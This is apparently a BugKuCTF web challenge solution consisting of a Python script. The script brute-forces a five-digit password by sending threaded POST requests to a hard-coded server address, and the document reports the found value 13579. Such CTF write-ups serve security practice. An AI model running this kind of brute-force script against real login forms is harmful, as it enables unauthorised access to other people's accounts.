BugKuCTF Web Baopo

bugku-web-baopo.py

import requests
import threadpool

pool = threadpool.ThreadPool(32)
flag = False

def worker(i):
    global flag

    if flag:
        return
    if "密码不正确" not in requests.post("http://120.24.86.145:8002/baopo/?yes", data={
        "pwd": i
    }).content.decode():
        print("\nflag = %s" % i, flush=True)
        flag = True
    else:
        print(".",end='', flush=True)


reqs = threadpool.makeRequests(worker, [
    "%05d" % i for i in range(0,99999)
])

for req in reqs:
    pool.putRequest(req)

pool.wait()

跑出来结果是 13579